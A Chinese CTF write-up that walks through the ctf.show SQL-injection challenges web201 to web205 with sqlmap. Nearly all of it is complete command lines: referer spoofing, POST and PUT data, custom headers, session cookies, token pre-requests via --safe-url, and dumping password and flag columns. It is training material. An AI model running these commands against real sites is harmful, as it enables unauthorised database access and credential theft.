当前位置: 首页 > news >正文

CTF web入门之SQL注入使用工具sqlmap

详细说明:https://blog.csdn.net/qq_41701460/article/details/146391515

web201:
在这里插入图片描述
查看数据库 获取不到数据库信息

https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1

题目有提到 使用–user-agent 指定agent,因为对于 sqlmap 默认的 user-agent 会包含 sqlmap 关键字,很多时候我们会使用 --random-agent 来随机 ua 头。

题目要求还需要使用–referer 绕过referer检查,referer 就是请求来自哪里,这里我们的请求其实是来自题目的地址:

https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php

使用 sqlmap 指定一下:–batch 是帮助我们在执行过程中自动选择,-u 指定 URL

python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php --batch

在这里插入图片描述
检测出来是 mysql 数据库。注入点 布尔注入 时间注入 联合注入

追加参数 --dbs 查一下数据库名:

python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php --dbs --batch

在这里插入图片描述
存在名为 ctfshow_web 的数据库,使用 -D 指定这个库,–tables 指定查这个库下的所有表名:

python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php -D ctfshow_web  --tables --batch

在这里插入图片描述
表名为 ctfshow_user

使用 -T 参数指定这个表,–columns 查该表下所有的列名:

python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php -D ctfshow_web  -T ctfshow_user --columns --batch

在这里插入图片描述
看到相应的列名

使用 -C 指定列,–dump 转存数据,查具体字段信息:

 python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php -D ctfshow_web  -T ctfshow_user -C pass,username  --dump --batch

在这里插入图片描述

web202:
在这里插入图片描述

上一题是 get 请求,这里使用 --data 指定参数进行 post 请求的注入:

--获取数据库
python3 sqlmap.py -u https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/api/ --data id=1 --referer https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/sqlmap.php --batch --dbs获取表
python3 sqlmap.py -u https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/api/ --data id=1 --referer https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables --batch获取列
python3 sqlmap.py -u https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/api/ --data id=1 --referer https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user --columns --batch获取值内容
python3 sqlmap.py -u https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/api/ --data id=1 --referer https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass,username -dump --batch

在这里插入图片描述

web203:
在这里插入图片描述
使用–method(提交方法) 调整sqlmap的请求方式:

需要加上–headers=“Content-Type: text/plain”,否则是按表单提交的,put接收不到,并且这里 api 后面需要加上 index.php,

python3 sqlmap.py -u https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/sqlmap.php --dbs --batch  --headers="Content-Type: text/plain"python3 sqlmap.py -u https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables --batch  --headers="Content-Type: text/plain"python3 sqlmap.py -u https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -columns --batch  --headers="Content-Type: text/plain"python3 sqlmap.py -u https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass,username --dump --batch  --headers="Content-Type: text/plain"

在这里插入图片描述

web204:同上 只是多了个cookie 拼接在后面就可以
在这里插入图片描述

python3 sqlmap.py -u  https://96885a6a-2ad5-4f8d-9f67-1d77d1cfc23f.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://96885a6a-2ad5-4f8d-9f67-1d77d1cfc23f.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass,username --dump --batch  --headers="Content-Type: text/plain"  --cookie="PHPSESSID=vmvdelhfvsfv8iem6aauhkcgco; ctfshow=f33ab871ce5fdbd9fcb76e2122a71933"

在这里插入图片描述
web205:
在这里插入图片描述
在这里插入图片描述
api调用需要鉴权发现在访问 index.php 前都会先访问 getToken.php

追加 --safe-url 参数设置在测试目标地址前访问的安全链接,将 url 设置为 api/getToken.php,再加上 --safe-preq=1 表示访问 api/getToken.php 一次

获取数据库
python3 sqlmap.py -u  https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php   --headers="Content-Type: text/plain"  --cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" --safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php" --safe-freq=1  --dbs  --batch说明:
请求地址:https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php 请求方法:--method="PUT" post提交方式 值为1--data id=1 来源:referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php请求头: --headers="Content-Type: text/plain"cookie值:--cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" 测试目标地址前访问的安全链接:--safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php"表示访问 api/getToken.php 一次:--safe-freq=1默认自动选择和判断:--batch获取表 新增了一个叫 ctfshow_flax 的表,查一下该表下的列名:
python3 sqlmap.py -u  https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php   --headers="Content-Type: text/plain"  --cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" --safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php" --safe-freq=1  -D ctfshow_web --tables  --batch  获取列
python3 sqlmap.py -u  https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php   --headers="Content-Type: text/plain"  --cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" --safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php" --safe-freq=1  -D ctfshow_web -T ctfshow_flax --columns  --batch获取内容:
python3 sqlmap.py -u  https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php   --headers="Content-Type: text/plain"  --cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" --safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php" --safe-freq=1  -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump  --batch

在这里插入图片描述

相关文章:

  • 基于Spring Boot+微信小程序的智慧农蔬微团购平台-项目分享
  • 国产仪器进化论:“鲁般号”基于无人机的天线测试系统
  • idea使用docker插件一键部署项目
  • 2025年一站式AI创作平台主要功能介绍及使用教程
  • Idea中实用设置和插件
  • 第一章:自然语言处理
  • RAG应用过程监控系统选型:LangFuse
  • 使用tabs组件搭建UI框架
  • 4月21日日记
  • 基于MuJoCo物理引擎的机器人学习仿真框架robosuite
  • Python+CoppeliaSim+ZMQ remote API控制机器人跳舞
  • 服务器监控软件推荐
  • SpringBoot中PDF处理完全指南
  • 报错 | 配置 postcss 出现 报错:A `require()` style import is forbidden.
  • Android Studio 国内镜像使用与 SDK 下载速度优化指南
  • 华为盒式交换机堆叠配置
  • C语言高频面试题——指针数组和数组指针
  • idea30天使用无限使用
  • Python-Django系列—部件
  • 国产DTU!工业DTU“性能翻倍+功耗减半”双突破!
  • 新质观察|解构低空经济产业集群发展战略
  • 中印尼“2+2”:中国周边外交的范式突破与东南亚棋局重构
  • 对话地铁读书人|财务管理孟先生:老婆让我看《三体》
  • 寻女19年的“棉花糖爸爸”明将办团圆宴,大女儿:妹妹是片区销售主管
  • 纪念沈渭滨︱在恩师沈渭滨老师指导下走上学术研究之路
  • 对话地铁读书人|来自法学教授的科普:读书日也是版权日